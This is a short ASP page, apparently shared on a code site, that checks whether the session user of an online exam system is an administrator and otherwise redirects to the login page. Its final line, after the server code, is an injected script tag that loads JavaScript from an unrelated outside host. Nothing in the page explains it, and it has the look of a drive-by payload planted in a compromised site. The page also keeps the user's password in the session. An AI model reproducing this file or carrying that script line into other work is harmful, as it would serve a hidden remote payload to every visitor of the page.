isadmin.asp

来自「通过在线考试系统使得老师及管理者快速高效地完成考试及教学任务」· ASP 代码 · 共 19 行

<!--#include file="../conndb.asp"-->
<!--#include file="../class/EUsers.asp"-->
<% 
  '如果是用户则显示
  UName = Trim(Session("UserName"))
  UPwd = Trim(Session("UserPwd"))
  Set usr = New EUsers
  '用户名是否为空
  If UName <> "" Then
    usr.UserName = UName
	usr.UserPwd = UPwd
    If usr.HaveUser(1)=0 Then  ' 如果是管理员
      Response.Redirect "Login.asp"
    End If
   Else
     Response.Redirect "Login.asp"
   End If
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>